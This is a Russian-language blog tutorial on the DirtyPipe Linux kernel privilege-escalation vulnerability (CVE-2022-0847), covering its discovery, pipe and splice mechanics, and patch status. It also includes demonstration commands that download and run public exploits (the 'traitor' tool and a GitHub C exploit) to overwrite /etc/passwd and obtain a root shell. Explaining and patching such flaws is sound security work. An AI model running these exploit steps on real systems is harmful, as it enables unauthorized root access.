Найти в Дзене

Повышение привилегий Linux DirtyPipe (CVE 2022-0847).

Здравствуйте, дорогие друзья. Сегодня поговорим про повышение привилегий в Linux, на примере уязвимости DirtyPipe (CVE 2022-0847).

Введение

CVE 2022-0847 — это уязвимость повышения привилегий, обнаруженная Максом Келлерманом, присутствующая в самом ядре Linux после версии 5.8, которая позволяет перезаписывать данные в произвольных файлах, доступных только для чтения, или, проще говоря, позволяет непривилегированным процессам внедрять код в привилегированный/корневой процесс и, таким образом, повышать уровень привилегий. Оригинал поста с замысловатой работой и деталями можно найти здесь: https://dirtypipe.cm4all.com/

Содержание

· Бэкграунд

· Основная проблема, как она объяснена

· Некоторые общие термины и определения

· Обнаружение уязвимостей/моделирование

· Эксплуатация

· Демонстрация: метод 1

· Демонстрация: метод 2

· Статус исправления

· Заключение

Бэкграунд

Макс узнал об уязвимости после того, как попытался устранить ошибку CRC в журналах доступа. Многие пользователи cm4all.com сообщали, что ежемесячные журналы доступа, хотя и доступны для скачивания, не могут быть распакованы и выдают ошибки. Макс объясняет в своем посте, как он использовал механизм Z_SYNC_FLUSH вместе со сплайсингом для объединения файлов ежедневного журнала в ежемесячные ZIP-архивы, доступные для загрузки через HTTP. При ближайшем рассмотрении он обнаружил проблемы с рутом.

Основная проблема, как она объяснена

Позвольте мне потратить некоторое время на то, чтобы перефразировать формулировку проблемы, упомянутую Максом, которая привела к обнаружению этой уязвимости.

После изучения zip-файлов журнала доступа, предоставленных потребителями, он поделился следующим шестнадцатеричным дампом общего файла:

81 d6 94 39 81 05 b0 ed e9 c0 fd 07 00 00 ff ff 03 00 9c 12 0b f5 f7 4a 00 00

00 00 ff ff: синхронизация сброса байтов

03 00: пустой «последний» блок

9c 12 0b f5: CRC zip-файла.

f7 4a 00 00: Длина файла в десятичных дробях = 19191 байт.

Однако поврежденный файл показал следующий шестнадцатеричный дамп:

81 d6 94 39 81 05 b0 ed e9 c0 fd 07 00 00 ff ff 03 00 50 4b 01 02 1e 03 14 00

50 4b 01 02: Изменена CRC! 50 4b представляет ASCII для «PK». 01 02 представляет код заголовка файла центрального каталога.

1e 03 14 00: Изменена длина файла в десятичном формате 1,3 Мб.

Как мы видим, CRC изменился и теперь представляет буквы «PK», которые являются заголовком для файлов *.zip и заголовком файла центрального каталога. 1e 03 равно 30 (UNIX v3.0), а 14 00 — это версия, необходимая для извлечения (переведенная в ASCII 20 или v2.0)

Учитывалось только 8 байт, а остальные усекались.

Оказывается, повреждение произошло из-за ошибки канала. Видите ли, когда Вы объединяете ежедневные журналы за месяц, это происходит следующим образом:

День 1+ День 2 + …. + День 31

Он становится ZIP-файлом, когда объединяются все 31 день. Следовательно, на 31-й день создается файл filename.zip. При объединении журналов прошлого дня возникает ошибка канала, которая перезаписывает CRC заголовком ZIP, то есть часть «PK» вместе с другими деталями.

Некоторые общие термины и определения

Страница: наименьшая единица памяти, управляемая процессором. Размер блока 4 КБ. Если процесс запрашивает память, ЦП выделяет этому процессу несколько страниц, управляемых «кэшем страниц». Каналы используют ссылку на страницу для передачи обслуживания памяти.

Канал: соединение между двумя системными процессами, при котором стандартный вывод одного процесса становится стандартным вводом другого процесса. Это односторонний метод связи.

echo «abc» | кот > /dev/null

В приведенном выше случае echo — это STDOUT, а cat принимает «abc» в качестве STDIN. Эти входные данные в канале обрабатываются файловыми дескрипторами.

что интересно, «|» также называется оператором трубы. Весьма буквально!

Дескриптор файла (FD): целое число, которое однозначно идентифицирует открытый файл процесса. Оно находится в диапазоне от 0 до 1023.

0 => зарезервировано для STDIN

1 => зарезервировано для STDOUT

2 => STDERR

от 3 до 1023 => настраиваемый

Таким образом, труба становится:

FD[1] [конец записи] (выход канала) <= FD[0] [окончание чтения] (вход канала)

Splice: splice() перемещает данные между двумя файловыми дескрипторами без копирования между адресным пространством ядра и адресным пространством пользователя. Он передает до len байт данных из файлового дескриптора fd_in в файловый дескриптор fd_out, где один из файловых дескрипторов должен ссылаться на канал.

Формат: сращивание (FD0, смещение FD0, FD1, смещение FD1, длина, флаги);

Таким образом, предоставляя в FD1 запись в файл и чтение из FD0, монтаж может записывать в файлы.

Функция записи: write() в C может помочь пользователю записать в любой файл, а когда используется сращивание, write() также может предоставлять входные данные в канал.

Формат: write(FD1, буфер для записи, размер буфера);

Обнаружение уязвимостей/моделирование

Из поврежденных журналов доступа Макс обнаружил, что из-за ошибки канала в zip-файл записываются непреднамеренные данные. Он смоделировал то же самое:

Шаг 1: откройте файл «foo» и напишите в нем «AAAAA». Псевдокод такой:

int main()

{

for(;;) write(1, "AAAAA", 5);

}

Шаг 2: создайте канал со смещением 0, ведущий к foo.txt в конце WRITE.

Шаг 3: Соедините и запишите в этот канал еще одну строку «BBBBB».

Шаг 4. Кэш страниц перезаписывается

Псевдокод для шагов со 2 по 4 выглядит следующим образом:

int main()

{

for(;;)

{

splice(0,0,1,0,2,0);

write(1,"BBBBB",5);

}

Обнаружение: строка «BBBBB» записывается в файл foo, хотя у второго процесса не было разрешения на запись в файл foo.

Что является причиной этого: у функции PIPE_BUF_FLAG_CAN_MERGE отсутствовала инициализация флага.

«Внедряя PIPE_BUF_FLAG_CAN_MERGE в ссылку на страничный кэш, можно перезаписать данные в страничном кэше, просто записывая новые данные в подготовленный особым образом канал».

Эксплуатация

Если Вы разобрались в обнаружении и моделировании уязвимости в канале, за ее эксплуатацией довольно легко следить. Видите ли, до сих пор мы узнали, как запись в файл посредством ввода данных через канал может вызвать произвольную запись в файл. Таким образом, эксплуатация заключается в следующем:

· Создать трубу

· Заполните канал произвольными данными (чтобы установить флаг PIPE_BUF_FLAG_CAN_MERGE во всех записях кольца)

· Drain the pipe

· Вставьте данные из целевого файла (открытого в режиме ReadOnly) в канал непосредственно перед целевым смещением.

· Запишите произвольные данные в канал. Теперь это приведет к перезаписи кэша страниц, поскольку установлен PIPE_BUF_FLAG_CAN_MERGE!

Это работает, потому что ядро всегда доступно для записи в кэш страниц, а запись в канал никогда не проверяет наличие каких-либо разрешений.

Макс привел пример кода эксплойта в исходной статье, который работает отлично, однако мы не будем использовать его здесь.

Здесь мы продемонстрируем два метода, которые перенаправляют данные в файл «/etc/passwd» и предоставляют нам права sudo. Вы можете следить за GTFObins, чтобы понять этот метод.

Демонстрация: метод 1

Инструмент Лиама под названием «traitor» недавно был обновлен и теперь включает в себя эксплойт для CVE 2022-0847. Для начала давайте посмотрим, является ли наш пользователь «ignite» обычным пользователем.

-2

Идеально, пользователь с низким уровнем приватности. Чтобы загрузить исполняемый файл ELF, Вы можете:

wget https://github.com/liamg/traitor/releases/download/v0.0.14/traitor-amd64

-3

Теперь Вам нужно предоставить ему разрешения на выполнение и запустить его, чтобы определить, уязвима ли текущая ОС для DirtyPipe или нет. Как видите, ядро 5.13 уязвимо для этого эксплойта!

chmod 777 traitor-amd64

./traitor-amd64

-4

Чтобы запустить эксплойт, мы можем просто запустить эту команду:

./traitor-amd64 --exploit kernel:CVE-2022-0847

whoami

id

-5

И вот так мы добились повышенных привилегий! Эксплойт запустился, внес данные в /etc/passwd, что сделало моего текущего пользователя root, а затем автоматически создал оболочку!

Демонстрация: метод 2

Руководствуясь теми же рекомендациями, Аринеррон создал эксплойт на языке C. Он создает резервную копию /etc/passwd, вводит данные, а затем восстанавливает и запускает оболочку с правами root!

Чтобы загрузить, скомпилировать и запустить это, вы можете выполнить следующие команды:

git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit.git

cd CVE-2022-0847-DirtyPipe-Exploit

./compile.sh

./exploit

-6

И вот так мы теперь root!

Статус исправления

Уязвимость исправлена в Linux 5.16.11, 5.15.25 и 5.10.102, новые исправления продолжаются.

Заключение

DirtyPipe — это серьезная уязвимость с вектором атаки низкой сложности. Организации должны немедленно устанавливать в свои системы новейшие исправления ядра по мере их выпуска. Надеюсь, Вам понравилась статья и спасибо, что прочитали ее.